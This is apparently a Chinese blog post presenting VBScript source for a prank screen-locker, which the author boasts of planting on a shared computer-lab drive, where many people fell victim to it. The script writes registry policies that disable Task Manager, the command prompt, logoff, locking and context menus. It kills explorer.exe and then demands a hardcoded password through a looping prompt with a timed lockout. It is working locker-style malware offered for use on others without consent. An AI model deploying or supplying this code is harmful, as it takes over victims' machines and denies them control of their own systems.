[VBS小程序]锁住朋友的电脑,你也可以!
时间:2019-08-26 15:22:39
收藏:0
阅读:138
最近我写了一个VBS小程序,并放在机房的共享里,结果许多人深受其害。。。
功能
关闭
explorer.exe
,使系统界面“崩溃”修改注册表,使得
Win + L
锁定(切换用户)、Ctrl + Alt + Del
进安全模式、任务管理器和关机指令被禁用。调用
inputBox
命令,询问密码,只有密码正确才会打开explorer.exe
并恢复注册表
代码
Set shell = CreateObject("wscript.shell")
Dim key, password, maxin, waits, weight, high, tip
tip = "*********" '这个是密码提示,双引号里面的值可以改
key = ""
password = "123456789" '这个是密码,引号里面的值也可以改
maxin = 5 '最多输错几次
waits = 300 '输错maxin次后,锁定的秒数
shell.regwrite "HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer\noclose",01,"REG_DWORD"
shell.regwrite "HKEY_CURRENT_USER\Software\Policies\Microsoft\Windows\System\DisableCMD",02,"REG_DWORD"
shell.regwrite "HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\System\DisableTaskMgr",01,"REG_DWORD"
shell.regwrite "HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer\NoViewContextMenu",01,"REG_DWORD"
shell.regwrite "HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer\NoTrayContextMenu",01,"REG_DWORD"
shell.regwrite "HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer\NoChangeStartMenu",01,"REG_DWORD"
shell.regwrite "HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\System\DisableLockWorkstation",01,"REG_DWORD"
shell.regwrite "HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\System\DisableChangePassword",01,"REG_DWORD"
shell.regwrite "HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\System\NoConfigPage",00,"REG_DWORD"
shell.regwrite "HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\System\NoDevMgrPage",00,"REG_DWORD"
shell.regwrite "HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\System\DisableSwitchUserOption",01,"REG_DWORD"
shell.regwrite "HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer\NoLogoff",01,"REG_DWORD"
shell.run "cmd Command /k taskkill /f /im cmd.exe /t"
shell.run "taskkill /f /im explorer.exe"
do
For i = 1 To maxin
key = InputBox("您的系统已经被锁定,请输入密码解锁", "系统锁定", tip)
If key = password Then
MsgBox "系统已解锁"
shell.regwrite "HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer\noclose",0,"REG_DWORD"
shell.regwrite "HKEY_CURRENT_USER\Software\Policies\Microsoft\Windows\System\DisableCMD",0,"REG_DWORD"
shell.regwrite "HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\System\DisableTaskMgr",0,"REG_DWORD"
shell.regwrite "HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer\NoViewContextMenu",0,"REG_DWORD"
shell.regwrite "HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer\NoTrayContextMenu",0,"REG_DWORD"
shell.regwrite "HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer\NoChangeStartMenu",0,"REG_DWORD"
shell.regwrite "HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\System\DisableLockWorkstation",0,"REG_DWORD"
shell.regwrite "HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\System\DisableChangePassword",0,"REG_DWORD"
shell.regwrite "HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\System\NoConfigPage",01,"REG_DWORD"
shell.regwrite "HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\System\NoDevMgrPage",01,"REG_DWORD"
shell.regwrite "HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\System\DisableSwitchUserOption",0,"REG_DWORD"
shell.regwrite "HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer\NoLogoff",0,"REG_DWORD"
shell.run "explorer.exe"
shell.run "taskkill /f /im wscript.exe"
ElseIf key = tip Then
MsgBox "密码不能为空!"
i = i - 1
ElseIf key = "" Then
MsgBox "密码不能为空!"
i = i - 1
Else
MsgBox "密码错误,您还有 " & maxin - i & " 次机会"
End If
Next
For i = 0 To waits-1
shell.popup "请在 " & waits-i & " 秒后输入密码...", 1, "密码输入过于频繁"
Next
loop
评论(0)